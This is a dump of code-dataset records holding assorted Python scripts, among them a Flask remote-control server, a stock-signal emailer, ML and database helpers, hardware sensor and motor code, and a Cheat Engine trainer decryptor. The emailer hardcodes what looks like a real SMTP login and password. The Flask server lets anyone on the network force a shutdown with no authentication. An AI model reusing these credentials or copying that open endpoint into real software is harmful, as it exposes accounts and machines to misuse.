'screen':\n if data['info']['mode'] == 'set' and data['info']['value'] == 'off':\n call(['nircmdc', 'monitor', 'off'])\n if data['info']['mode'] == 'set' and data['info']['value'] == 'on':\n call(['nircmdc', 'monitor', 'on'])\n if data['info']['mode'] == 'screensaver':\n call(['nircmdc','screensaver'])\n\n if data['type'] == 'audio':\n if data['info']['mode'] == 'set':\n call(['nircmdc', 'setsysvolume', str(int(data['info']['value'])*655)])\n\n if data['info']['mode'] == 'add':\n call(['nircmdc', 'changesysvolume', str(int(data['info']['value'])*655)])\n\n if data['info']['mode'] == 'toggle':\n call(['nircmdc', 'mutesysvolume', '2'])\n\n if data['type'] == 'power':\n if data['info']['mode'] == 'shutdown':\n call(['nircmdc','exitwin', 'poweroff', 'force'])\n if data['info']['mode'] == 'reboot':\n call(['nircmdc','exitwin', 'reboot', 'force'])\n if data['info']['mode'] == 'sleep':\n call(['nircmdc','standby'])\n@app.route(\"/static\")\ndef staticserve(path):\n return send_from_directory(\"static\", path)\n\n@app.route(\"/\")\ndef index():\n return render_template('control.html', hostname=socket.gethostname())\n\n@app.route(\"/post\", methods=[\"POST\"])\ndef post():\n doStuff(request.get_json())\n return \"OK\"\n\napp.run(host='0.0.0.0',port=port)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"590533025","text":"#!/root/download/anconda/bin/python\nimport params_1\nimport copydata\nimport re\nimport copy\nimport get_new_expre\nimport pandas as pd\nfrom rqdata import up_file,now_file\nimport quick_sig as qs\nimport time\nimport sig_data\nimport os\nimport KB\nimport numpy as np\n\nimport smtplib\nfrom email.mime.multipart import MIMEMultipart \nfrom email.mime.text import MIMEText \nfrom email.mime.image import MIMEImage \nfrom email.header import Header \n\ndef email(estr,subject):\n username = 'lsz17801016296@163.com'\n password = 'MKJQHGVZYYHTEEDP'\n now_time = time.strftime(\"%Y%m%d\", time.localtime())\n\n msg = MIMEMultipart('mixed') \n msg['Subject'] = now_time+' '+subject\n msg['From'] = 'lsz17801016296@163.com <lsz17801016296@163.com>'\n msg['To'] = '495506796@qq.com'\n #收件人为多个收件人,通过join将列表转换为以;为间隔的字符串\n #msg['To'] = \";\".join(receiver) \n msg['Date'] = now_time\n\n #构造文字内容 \n text_plain = MIMEText(estr,'plain', 'utf-8') \n msg.attach(text_plain) \n\n smtp = smtplib.SMTP() \n smtp.connect('smtp.163.com') \n smtp.login(username, password) \n smtp.sendmail('lsz17801016296@163.com','495506796@qq.com', msg.as_string()) \n smtp.quit()\n\ndef send_index(HS_code,param):\n _index = pd.read_csv(param['_index_save_path']+HS_code+'.csv',index_col='date')\n K = _index.iloc[-1]['K']\n close_MA_10_shift_1 = _index.iloc[-1]['close_MA_10_shift_1']\n close_MA_10 = _index.iloc[-1]['close_MA_10']\n D_shift_1 = _index.iloc[-1]['D_shift_1']\n now_time = time.strftime(\"%Y%m%d\", time.localtime())\n buy_bool = K>=90\n if(close_MA_10_shift_1 > close_MA_10 and D_shift_1 >= 80 ):\n sell_bool = True\n else:\n sell_bool = False\n\n mes = now_time+' Buy:'+str(buy_bool)+' Sell:'+str(sell_bool)+ ' K is ' + str(np.round(K,3))+' close_MA_10_shift_1 is ' + str(np.round(close_MA_10_shift_1,3))+' close_MA_10 is ' + str(np.round(close_MA_10,3))+' D_shift_1 is ' + str(np.round(D_shift_1,3))\n email(mes,'index')\n\ndef get_day_code():\n param = params_1.PARAMS\n KB.copy_day_data(param['code_list'])\n KB.copy_day_data([param['HS_code']])\n ori_expre,code_list = param['_Expression'],param['code_list']\n _code_list = copy.copy(code_list)\n HS_code = param['HS_code']\n sig_data.cal_index_data(HS_code)\n for code in code_list:\n if(sig_data.cal_index_data(code) == 0):\n _code_list.remove(code)\n result = qs.get_signal(_code_list,ori_expre,param['begin_date'])\n result.to_csv(up_file+'/result/quick/quick_sig_1.csv')\n new_signal = pd.read_csv(up_file+'/result/quick/quick_sig_1.csv')\n now_time = time.strftime(\"%Y%m%d\", time.localtime())\n #now_time = '20200710'\n new_code = new_signal[new_signal['time'] == int(now_time)]\n #print(new_signal['time'].values[-1],type(new_signal['time'].values[-1]),new_code)\n new_buy = new_code[new_code['operation'] == 'long']['code']\n new_sell = new_code[new_code['operation'] == 'long_sell']['code']\n print('buy',new_buy.values)\n print('sell',new_sell.values)\n email(str(new_buy.values),'buy')\n email(str(new_sell.values),'sell')\n send_index(HS_code,param)\n\nif __name__ == \"__main__\":\n get_day_code()","sub_path":"meta_stra_framwork/src/get_day_code.py","file_name":"get_day_code.py","file_ext":"py","file_size_in_byte":3224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"393970959","text":"class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass SinglyLL:\n def __init__(self):\n self.head = None\n\n def printList(self):\n if self.head is None:\n print('Singly LL is empyty')\n current = self.head\n while current:\n print(current.data)\n current = current.next\n\n def push(self, new_data):\n newNode = Node(new_data)\n if self.head is None:\n self.head = newNode\n return\n current = self.head\n while current.next is not None:\n current = current.next\n current.next = newNode\n\n def sumUtil(self, head):\n if head is None:\n return 0\n return head.data + self.sumUtil(head.next)\n\n def sum(self):\n return self.sumUtil(self.head)\n\n\ndef sumTwoLL(head1, head2):\n carry = 0\n result = n = Node(0)\n while head1 or head2 or carry:\n if head1:\n carry += head1.data\n head1 = head1.next\n if head2:\n carry += head2.data\n head2 = head2.next\n carry, val = divmod(carry, 10)\n n.next = n = Node(val)\n return result.next\n\n\nllist = SinglyLL()\nllist.head = Node(3)\nllist.push(8)\nllist.push(4)\nllist.push(4)\n\n\nlist1 = SinglyLL()\nlist1.head = Node(3)\nlist1.push(12)\nlist1.push(8)\nlist1.push(4)\nlist1.push(4)\nprint(sumTwoLL(llist.head, list1.head))\n# print(llist.sum())\n","sub_path":"LinkedList/SinglyLL/sumTwoLL.py","file_name":"sumTwoLL.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"149465506","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom gym.spaces import Box, Discrete\n\n\ndef count_vars(module):\n return sum(p.numel() for p in module.parameters() if p.requires_grad)\n\n\nclass NoisyLinear(nn.Module):\n \"\"\"Factorised NoisyLinear layer with bias\"\"\"\n\n def __init__(self, in_features, out_features, std_init=0.5):\n super(NoisyLinear, self).__init__()\n self.in_features = in_features\n self.out_features = out_features\n self.std_init = std_init\n self.weight_mu = nn.Parameter(torch.empty(out_features, in_features))\n self.weight_sigma = nn.Parameter(torch.empty(out_features, in_features))\n self.register_buffer(\"weight_epsilon\", torch.empty(out_features, in_features))\n self.bias_mu = nn.Parameter(torch.empty(out_features))\n self.bias_sigma = nn.Parameter(torch.empty(out_features))\n self.register_buffer(\"bias_epsilon\", torch.empty(out_features))\n self.reset_parameters()\n self.reset_noise()\n\n def reset_parameters(self):\n mu_range = 1 / np.sqrt(self.in_features)\n self.weight_mu.data.uniform_(-mu_range, mu_range)\n self.weight_sigma.data.fill_(self.std_init / np.sqrt(self.in_features))\n self.bias_mu.data.uniform_(-mu_range, mu_range)\n self.bias_sigma.data.fill_(self.std_init / np.sqrt(self.out_features))\n\n def _scale_noise(self, size):\n x = torch.randn(size)\n return x.sign().mul_(x.abs().sqrt_())\n\n def reset_noise(self):\n epsilon_in = self._scale_noise(self.in_features)\n epsilon_out = self._scale_noise(self.out_features)\n self.weight_epsilon.copy_(epsilon_out.ger(epsilon_in))\n self.bias_epsilon.copy_(epsilon_out)\n\n def forward(self, x):\n if not self.training:\n return F.linear(x, self.weight_mu, self.bias_mu)\n return F.linear(\n x,\n self.weight_mu + self.weight_sigma * self.weight_epsilon,\n self.bias_mu + self.bias_sigma * self.bias_epsilon,\n )\n\n def extra_repr(self):\n return \"in_features={}, out_features={}, bias={}\".format(\n self.in_features, self.out_features, True\n )\n\n\nclass MLP(nn.Module):\n def __init__(\n self,\n layers,\n activation=torch.tanh,\n output_activation=None,\n output_scale=1,\n output_squeeze=False,\n ):\n super(MLP, self).__init__()\n self.layers = nn.ModuleList()\n self.activation = activation\n self.output_activation = output_activation\n self.output_scale = output_scale\n self.output_squeeze = output_squeeze\n\n for i, layer in enumerate(layers[1:]):\n self.layers.append(nn.Linear(layers[i], layer))\n nn.init.zeros_(self.layers[i].bias)\n\n def forward(self, inputs):\n x = inputs\n for layer in self.layers[:-1]:\n x = self.activation(layer(x))\n if self.output_activation is None:\n x = self.layers[-1](x) * self.output_scale\n else:\n x = self.output_activation(self.layers[-1](x)) * self.output_scale\n return x.squeeze() if self.output_squeeze else x\n\n\nclass NoisyDQNetwork(nn.Module):\n def __init__(\n self,\n in_features,\n action_space,\n hidden_sizes=(400, 300),\n activation=torch.relu,\n output_activation=None,\n ):\n super(NoisyDQNetwork, self).__init__()\n\n action_dim = action_space.n\n\n self.q = MLP(\n layers=[in_features] + list(hidden_sizes),\n activation=activation,\n output_activation=output_activation,\n )\n\n self.q.layers.append(NoisyLinear(hidden_sizes[-1], action_dim))\n\n print(self)\n\n def forward(self, x):\n return self.q(x)\n\n def policy(self, x):\n return torch.argmax(self.q(x), dim=1, keepdim=True)\n\n def reset_noise(self):\n self.q.layers[-1].reset_noise()\n","sub_path":"fireup/algos/noisy_dqn/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":3959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"112703731","text":"import traceback\nimport pandas as pd\nfrom functools import wraps\nfrom datetime import datetime\n\nfrom sqlalchemy import nullslast\nfrom sqlalchemy.ext.declarative import declared_attr\nfrom .connectors import session\n\n\ndef catch_db_exc(default=None, rollback=False, logger=None):\n \"\"\"\n 捕获 db操作异常, 并返回默认值\n :param default: 在异常时返回的值\n :param rollback: 是否需要rollback\n :param logger:\n :return: default\n \"\"\"\n def deco_func(func):\n @wraps(func)\n def catch_exc(*args, **kwargs):\n try:\n return func(*args, **kwargs)\n except Exception as e:\n if logger:\n logger.error(traceback.format_exc())\n else:\n traceback.print_exc()\n if rollback:\n session.rollback()\n return default\n return catch_exc\n return deco_func\n\n\nclass Mixin(object):\n\n class SortOrder(object):\n Desc = 0 # 逆序\n Asc = 1 # 升序\n\n @declared_attr\n def __tablename__(cls):\n return cls.__name__\n\n @classmethod\n @catch_db_exc()\n def get(cls, _id):\n model = session.query(cls).filter(cls._id == _id).one_or_none()\n return model\n\n @classmethod\n @catch_db_exc()\n def get_by(cls, *conditions):\n model = session.query(cls).filter(*conditions).one_or_none()\n return model\n\n @classmethod\n @catch_db_exc()\n def query_count(cls, filters):\n total = session.query(cls).filter(*filters).count()\n return total\n\n @classmethod\n @catch_db_exc()\n def query_by_page(cls, filters, sort_by, page, size):\n \"\"\"\n 分页\n order by 的三种方式:\n 1. 字符串: created , -created\n 2. desc(Model.field)\n 3. Model.field.desc()\n :param filters: list of 等式\n :param sort_by: list of tuples, [ (field_1, 0), (field_2, 1)]\n :param page: start from 0\n :param size: int\n :return:\n \"\"\"\n sorted_funcs = []\n if sort_by:\n for field, sort_order in sort_by:\n if sort_order == cls.SortOrder.Asc:\n sort_func = getattr(cls, field).asc()\n else:\n sort_func = getattr(cls, field).desc()\n sorted_funcs.append(nullslast(sort_func))\n if not filters:\n filters = []\n models = session.query(cls).filter(*filters).order_by(*sorted_funcs).limit(size).offset(\n page * size).all()\n return models\n\n @classmethod\n @catch_db_exc(default=[])\n def query(cls, *conditions):\n models = session.query(cls).filter(*conditions).order_by(cls.created.desc()).all()\n return models\n\n @classmethod\n @catch_db_exc()\n def query_dataframe(cls, *conditions):\n query = session.query(cls).filter(*conditions)\n df = pd.read_sql(query.statement, session.bind)\n return df\n\n @catch_db_exc(default=False, rollback=True)\n def save(self):\n session.add(self)\n session.commit()\n return True\n\n @catch_db_exc(default=False, rollback=True)\n def delete(self):\n session.delete(self)\n session.commit()\n return True\n\n @property\n def columns(self):\n columns = []\n for i in list(self.__table__.columns): # 在 py3中, columns是 sqlalchemy.sql.base.ImmutableColumnCollection\n columns.append(i.name)\n return columns\n\n def to_json(self):\n json_data = dict()\n for column in self.columns:\n value = getattr(self, column)\n if isinstance(value, datetime):\n value = value.strftime(\"%Y-%m-%d %H:%M:%S\")\n json_data[column] = value\n return json_data\n\n\n@catch_db_exc(default=False, rollback=True)\ndef save_batch(model_list):\n session.add_all(model_list)\n session.commit()\n return True\n","sub_path":"common/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"31554465","text":"\"\"\"Timeseries web application.\"\"\"\n\nfrom datetime import (\n datetime,\n timedelta,\n)\nfrom os import getenv\nfrom random import randint\n\nfrom flask import (\n Flask,\n jsonify,\n)\n\nDATETIME_FORMAT = '%Y-%m-%d %H:%M:%S'\n\napp = Flask(__name__) # pylint: disable=invalid-name\n\n\n@app.route('/data')\ndef data(\n values=100,\n minimum=1,\n maximum=100,\n datetime_format=DATETIME_FORMAT):\n \"\"\"Return timeseries data.\"\"\"\n now = datetime.now()\n timeseries = [\n {\n 'datetime': (now + timedelta(days=i)).strftime(\n datetime_format),\n 'value': randint(minimum, maximum),\n }\n for i in range(values)]\n return jsonify(timeseries)\n\n\nif __name__ == '__main__':\n app.run(\n host=getenv('HTTP_HOST'), port=int(getenv('HTTP_PORT', '1337')),\n debug=True)\n","sub_path":"app/runserver.py","file_name":"runserver.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"257480954","text":"##function reports capacitance of CIN1 by communicating with FDC1004 via i2c communication using smbus2 library.\n# It takes two arguments,[1] t_total is the total runtime in minutes, [2] freq is rate at which to sample\n#[per minute]. Note the byte endianess of the registers is the reverse of what smbus2 uses. For information on\n# registers see FDC1004 manual at http://www.ti.com/lit/ds/symlink/fdc1004.pdf\n\n#take inputs for time to run and freq of measurements\nimport sys\nt_total = int( sys.argv[1])\nfreq = int( sys.argv[2])\n#calculate number of cycles and wait period (in minutes)\nreps = freq * t_total\nwait = 60/freq\n\n#open files to write capacitances to (in pF)\nfh1 = open(\"cap1.txt\", \"a\")\n\nimport struct\nimport time\nfrom smbus2 import SMBusWrapper\n\n#define fdc1004 i2c address\nadr = 0x50\n\n#open Bus 2 to configure measurements: CIN1 (bus will close automatically after indented code completed)\nwith SMBusWrapper(2) as bus:\n #configure meas1 at 0x08, positive input CIN1, no negative input, no offset capacitance,...\n #set to 0x1C00 (endianess reversed)\n bus.write_word_data(adr,0x08,0x001C)\n #bus.write_word_data(adr,0x08,0x0012)\n\n#initalize rep count\nx = 0\n#begin measuring, runtime for one loop iteration about 0.01s and is ignored in reps estimate. \nwhile x < reps:\n #open i2c bus (closes upon completion of 2 indent code)\n with SMBusWrapper(2) as bus:\n #trigger single meas1 at 0x0C, 100S/s, repeat disabled, set to 0x480 End. Reversed\n bus.write_word_data(adr,0x0C,0x8004)\n\n #wait for measurement\n time.sleep(wait/2)\n\n #read 16 most sig bits of meas1 at 0x00\n capM1 = bus.read_word_data(adr,0x00)\n #read 8 least sig bits plus one empty byte of meas1 at 0x01\n capL1 = bus.read_word_data(adr,0x01)\n\n #reverse byte endianness\n MSB1 = struct.unpack('<H', struct.pack('>H',capM1))[0]\n LSB10 = struct.unpack('<H', struct.pack('>H',capL1))[0]\n #drop last byte from LSB (it is automatically 0) \n LSB1 = (LSB10>>8)\n #format into strings, left pad 0's to fill to byte length\n MSB1 = format(MSB1, '#018b')\n LSB1 = format(LSB1, '08b')\n #concatenate the two strings, convert back to integer\n B_tot1 = MSB1 + LSB1\n twos1 = (int(B_tot1, base=2))\n\n #calculate twos complement and convert measurements to pF\n if (1 == (twos1>>23)):\n Cap1 = (twos1-(1<<24))/2**19\n else:\n Cap1 = twos1/(2**19)\n\n #set cursor position in file at end of cap1 txt file, then write a new line of capacitance data\n Caps1 = '\\n' + str(Cap1)\n fh1.seek(0,2)\n print(Caps1)\n line = fh1.write(Caps1)\n\n #increment counter and wait\n x += 1\n time.sleep(wait/2)\n#close file, end of program\nfh1.close()\n\n","sub_path":"CapSensor/old/meas1.py","file_name":"meas1.py","file_ext":"py","file_size_in_byte":2723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"570395667","text":"import time\nfrom multiprocessing import Pool,Process\n\ndef func(n):\n for i in range(10):\n n += 1\n\nif __name__ == '__main__':\n start = time.time()\n pool = Pool(5)\n pool.map(func, range(100))\n\n t1 = time.time()-start\n\n start = time.time()\n p_list = []\n for i in range(100):\n p = Process(target = func, args=(i,))\n p_list.append(p)\n p.start()\n for i in p_list:\n i.join()\n t2 = time.time()-start\n print(t1, t2)","sub_path":"进程/进程池.py","file_name":"进程池.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"534262398","text":"#6. Create objects of the following file and print the details of student with maximum mark?\n# anu,1,bca,200 rahul,2,bba,177 vinod,3,bba,187 ajay,4,bca,198 maya,5, bba,195\n\nclass Students:\n def __init__(self,name,roll,course,marks):\n self.name=name\n self.roll=roll\n self.course=course\n self.marks=marks\n def printvalue(self):\n print(\"Name :\",self.name)\n print(\"Roll no: \",self.roll)\n print(\"Course : \",self.course)\n print(\"Mark: \",self.marks)\nf=open(\"max mark\",\"r\")\nfor line in f :\n data=line.split(\",\")\n name=data[0]\n roll=data[1]\n course=data[2]\n marks=data[3]\n #print(max(marks))\n obj = Students(name, roll, course, marks)\n obj.printvalue()\n\n\n\n\n","sub_path":"Advanced/Test/Test 1/q6.py","file_name":"q6.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"235565155","text":"#!/usr/bin/python3.7\r\n\r\nimport RPi.GPIO as gpio\r\nimport os\r\nfrom time import *\r\n\r\npins = (15, 14, 18, 3, 2, 4)\r\n\r\n# this is a tool for an easy way to send commands to pi-blaster\r\nclass PWM:\r\n def __init__(self, pin):\r\n self.pin = pin\r\n\r\n def set(self, value):\r\n cmd = 'echo \\\"' + str(self.pin) + '=' + str(value) + '\\\" > /dev/pi-blaster'\r\n os.system(cmd)\r\n\r\n def release(self):\r\n cmd = 'echo \\\"release ' + str(self.pin) + '\\\" > /dev/pi-blaster'\r\n os.system(cmd)\r\n\r\n# preparing motors enable pins vars for PWM()\r\npin3 = PWM(3)\r\npin15 = PWM(15)\r\n\r\n# preparingright motor start moving pins vars for PWM()\r\npin14 = PWM(14)\r\npin18 = PWM(18)\r\n\r\n# preparingleft motor start moving pins vars for PWM()\r\npin2 = PWM(2)\r\npin4 = PWM(4)\r\n\r\n# initialize pins\r\ndef init():\r\n\r\n gpio.setmode(gpio.BCM)\r\n gpio.setwarnings(False)\r\n gpio.setup(pins, gpio.OUT)\r\n pin15.set(0)\r\n pin14.set(0)\r\n pin18.set(0)\r\n pin3.set(0)\r\n pin2.set(0)\r\n pin4.set(0)\r\n\r\n# set voltage on enable pins\r\ndef motors_enable():\r\n\r\n pin3.set(1)\r\n pin15.set(1)\r\n\r\n# turn off motors\r\ndef motors_off():\r\n\r\n pin14.set(0)\r\n pin18.set(0)\r\n pin2.set(0)\r\n pin4.set(0)\r\n\r\n# turn on left motor to the special direction, speed from [0, 0.1 ... to 1]\r\ndef _right_m_on(direction, speed):\r\n\r\n if direction == 'front':\r\n pin14.set(speed)\r\n pin18.set(0)\r\n else:\r\n pin14.set(0)\r\n pin18.set(speed)\r\n\r\n# turn on left motor to the special direction, speed from [0, 0.1 ... to 1]\r\ndef _left_m_on(direction, speed):\r\n\r\n if direction == 'front':\r\n pin2.set(speed)\r\n pin4.set(0)\r\n else:\r\n pin2.set(0)\r\n pin4.set(speed)\r\n\r\n# move to the special direction, speed from [0, 0.1 ... to 1]\r\ndef move(direction, speed):\r\n\r\n if direction == 'front':\r\n _left_m_on('front', speed)\r\n _right_m_on('front', speed)\r\n\r\n elif direction == 'back':\r\n _left_m_on('back', speed)\r\n _right_m_on('back', speed)\r\n\r\n else:\r\n print('Possible variants for the direction: front, back. \\\r\n Speed from [0, 0.1 ... to 1]')\r\n\r\n# U - turn to the special direction, speed from [0, 0.1 ... to 1]\r\ndef turn(direction, speed):\r\n\r\n if direction == 'right':\r\n _left_m_on('front', speed)\r\n _right_m_on('back', speed)\r\n\r\n elif direction == 'left':\r\n _left_m_on('back', speed)\r\n _right_m_on('front', speed)\r\n\r\n else:\r\n print('Possible variants for the direction: right, left. \\\r\n write them in commas \\\r\n Speed from [0, 0.1 ... to 1]')\r\n\r\n# turn off pins and reset most of them to the input mode\r\ndef off_n_reset():\r\n\r\n pin15.set(0)\r\n pin14.set(0)\r\n pin18.set(0)\r\n pin3.set(0)\r\n pin2.set(0)\r\n pin4.set(0)\r\n gpio.cleanup((15, 14, 18, 3, 4))\r\n##############################################################\r\n\r\n# SMOOTHLY move to the special direction\r\n#\r\ndef smooth_start(direction, sleeptime_per_gear):\r\n\r\n # pwm_list = (0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1)\r\n pwm_list = (0.4, 0.5, 0.7, 0.9)\r\n\r\n if direction == 'front':\r\n for gear in pwm_list:\r\n move('front', gear)\r\n sleep(sleeptime_per_gear)\r\n gear = pwm_list[0]\r\n\r\n elif direction == 'back':\r\n for gear in pwm_list:\r\n move('back', gear)\r\n sleep(sleeptime_per_gear)\r\n gear = pwm_list[0]\r\n else:\r\n print('''Possible variants for 'direction': front, back \\n \\\r\nPossible variants for 'sleeptime_per_gear' : 0, 0.1 and more. Recommended is 0.2 \\n \\\r\nThe general amount of time spent for an acceleration will be calculated as time*4 (amount of gears in pwm_list)''')\r\n\r\n# SWERViNG to the special direction,\r\n# swerve_intensity_level from [0, 0.1 ... to 1] the less the faster turn would be\r\n\r\ndef swerve(front_or_back, right_or_left, swerve_intensity_level):\r\n\r\n if front_or_back == 'front':\r\n\r\n if right_or_left == 'right':\r\n _left_m_on('front', 1)\r\n _right_m_on('front', swerve_intensity_level)\r\n\r\n elif right_or_left == 'left':\r\n _left_m_on('front', swerve_intensity_level)\r\n _right_m_on('front', 1)\r\n\r\n elif front_or_back == 'back':\r\n\r\n if right_or_left == 'right':\r\n _left_m_on('back', 1)\r\n _right_m_on('back', swerve_intensity_level)\r\n\r\n elif right_or_left == 'left':\r\n _left_m_on('back', swerve_intensity_level)\r\n _right_m_on('back', 1)\r\n\r\n else:\r\n print('Aruements: front_or_back, right_or_left, swerve_intensity_level \\n \\\r\nPossible variants for the front_or_back = front, back \\n \\\r\nPossible variants for the right_or_left = right, left \\n \\\r\nWrite them in commas \\n \\\r\nswerve_intensity_level from [0, 0.1 ... to 1]')\r\n# ####################################################################3\r\n","sub_path":"pwm_control/mot_pwm_keyb_ctrl_SUMMARY_2.py","file_name":"mot_pwm_keyb_ctrl_SUMMARY_2.py","file_ext":"py","file_size_in_byte":4933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"48518705","text":"import asyncio\n# 웹 소켓 모듈을 선언한다.\nimport websockets\n\nasync def connect():\n # 웹 소켓에 접속을 합니다.\n async with websockets.connect(\"ws://192.168.0.182:9998\") as websocket:\n # 웹소켓 서버에 메시지를 전송\n await websocket.send(\"hello websocket!!\");\n # 웹 소켓 서버로 부터 메시지가 오면 콘솔에 출력합니다.\n data = await websocket.recv();\n print(data);\n\n\n# 비동기로 서버에 접속한다.\nasyncio.get_event_loop().run_until_complete(connect())","sub_path":"websocket_client.py","file_name":"websocket_client.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"607856643","text":"# Slighly modded from code @\n# https://github.com/AlexAltea/cetrainer-unpacker/tree/a17a\nimport sys\n\n# Unpackers\nfrom unpackers import unpack_cet_mrantifun\n\n# Decrypts the .CETRAINER file\ndef decrypt(pathin, pathout):\n \"\"\"\n Decrypts the .CETRAINER file\n @param[in] pathin Path to the input .CETRAINER file\n @param[in] pathout Path to the output .CETRAINER file\n \"\"\"\n # Read data\n fin = open(pathin, \"rb\")\n data = bytearray(fin.read())\n fin.close()\n\n result = None\n try:\n result = unpack_cet_mrantifun.decrypt(data[:])\n print(\"[*] Success!\")\n except Exception as e:\n print(\"[*] Failed!\")\n\n # Write data\n if not result:\n print(\"[!] Could not decrypt the CETRAINER file\")\n else:\n print(\"[*] Writing: \" + pathout)\n fout = open(pathout, \"wb\")\n fout.write(result)\n fout.close()\n\n\nSCRIPT_USAGE = \"\"\"CheatEngine Trainer Unpacker\nAbout: This program decrypts MrAntiFun's CheatEngine's .CETRAINER files\nVersion: 2017-03-12\nUsage: extract.py path/to/CET_TRAINER.CETRAINER\n will output to path/to/CET_TRAINER.CETRAINER.xml\n\"\"\"\n\nif __name__ == '__main__':\n if len(sys.argv) <= 1:\n print(SCRIPT_USAGE)\n else:\n path = sys.argv[1]\n decrypt(path, path + \".xml\")\n","sub_path":"extract_.py","file_name":"extract_.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"75724880","text":"import tkinter as tk\nimport cv2\n# from mqtt_client import MQTTClient\nfrom PIL import Image, ImageTk\nimport numpy as np\n\nstop_cascade = cv2.CascadeClassifier('./cascades/StopCascade.xml')\nspeed_limit_cascade = cv2.CascadeClassifier('./cascades/SpeedLimitCascade.xml')\nyield_cascade = cv2.CascadeClassifier('./cascades/YieldCascade.xml')\n# traffic_light_cascade = cv2.CascadeClassifier(\n# './cascades/TrafficLightCascade.xml')\nqrDecoder = cv2.QRCodeDetector()\n\nMQTT_HOST = \"localhost\"\nMQTT_PORT = 1883\n# mqtt_client = MQTTClient(MQTT_HOST, MQTT_PORT)\n\n# Traffic flags\nstop_detected_flag = 0\nspeed_limit_detected_flag = 0\nyield_detected_flag = 0\nqrcode_detected_flag = 0\ndegree_changed_flag = 0\ndegree_cur = 0\ndegree_pre = 0\n\n\ndef connect_video():\n global cap\n if cap is not None:\n print(\"Connected! Nothing happened!\")\n return None\n url = turl.get()\n cap = cv2.VideoCapture(int(url))\n print(\"Video stream connected!\")\n show_frame()\n\n\ncap = None\nwindow = tk.Tk()\nwindow.wm_title(\"Autonomous RoboCar by Group G. SEB2019\")\nwindow.bind('q', lambda e: window.quit())\nwindow.wm_resizable(width=False, height=False)\nwindow.geometry('{}x{}'.format(800, 600))\n\nimageFrame = tk.Frame(window, width=800, height=1000)\nimageFrame.grid(row=0, column=0, padx=10, pady=8)\n\ntk.Label(imageFrame, text=\"Video stream Server: \").grid(row=0,\n column=0,\n sticky=\"W\")\nturl = tk.Entry(imageFrame)\nturl.grid(row=0, column=1, sticky=\"W\", pady=5)\ntk.Button(imageFrame, text=\"Connect\", command=connect_video).grid(row=0,\n column=2,\n sticky=\"W\")\ntk.Label(imageFrame, text=\"Origin video stream\").grid(row=1,\n column=0,\n columnspan=3)\ntk.Label(imageFrame, text=\"Processing video stream\").grid(row=1,\n column=3,\n columnspan=3)\ntk.Label(imageFrame, text=\"ROI\").grid(row=3, column=0, columnspan=3)\ntk.Label(imageFrame, text=\"Detection status\").grid(row=3,\n column=3,\n columnspan=3)\ndisplay_origin = tk.Label(imageFrame)\ndisplay_origin.grid(row=2, column=0, columnspan=3)\ndisplay_process = tk.Label(imageFrame)\ndisplay_process.grid(row=2, column=3, padx=10, pady=0, columnspan=3)\ndisplay_roi = tk.Label(imageFrame)\ndisplay_roi.grid(row=4, column=0, columnspan=3)\ndisplay_status = tk.Label(imageFrame,\n text=\"Nothing detected.\",\n font=(\"Courier\", 20))\ndisplay_status.grid(row=4, column=3, columnspan=3)\n\n\ndef show_frame():\n global cap\n global stop_detected_flag\n global speed_limit_detected_flag\n global yield_detected_flag\n global qrcode_detected_flag\n global degree_changed_flag\n global degree_cur\n global degree_pre\n\n _, image = cap.read()\n roi = None\n\n cv2image = cv2.cvtColor(image, cv2.COLOR_BGR2RGBA)\n img = Image.fromarray(cv2image)\n img = img.resize((320, 240))\n imgtk = ImageTk.PhotoImage(image=img)\n display_origin.imgtk = imgtk\n display_origin.configure(image=imgtk)\n\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n stop_boxes = stop_cascade.detectMultiScale(gray, 1.05, 10)\n speed_limit_boxes = speed_limit_cascade.detectMultiScale(gray, 1.04, 10)\n yield_boxes = yield_cascade.detectMultiScale(gray, 1.05, 10)\n # traffic_light_boxes = traffic_light_cascade.detectMultiScale(gray, 1.05, 10)\n qrDecoder = cv2.QRCodeDetector()\n qrdata, bbox, rectifiedImage = qrDecoder.detectAndDecode(image)\n\n h0, w0, _ = image.shape\n cx0 = int(w0 / 2)\n cv2.line(gray, (cx0, 0), (cx0, h0), 255, 1)\n\n ##################################################################\n # if len(stop_boxes) == 0 or len(speed_limit_boxes) == 0 or len( #\n # yield_boxes) == 0 or len(qrdata) == 0: #\n # mqtt_client.publish_angle(-180) #\n # degree_cur = 0 #\n # degree_pre = 0 #\n # degree_changed_flag = 0 #\n # display_status.config(text=\"Nothing detected.\") #\n ##################################################################\n\n qrcode_detected_flag += 1\n if len(qrdata) > 0:\n [[xmax, ymax]] = np.amax(bbox, axis=0)\n [[xmin, ymin]] = np.amin(bbox, axis=0)\n cv2.rectangle(gray, (xmin, ymin), (xmax, ymax), 255, 1)\n roi = 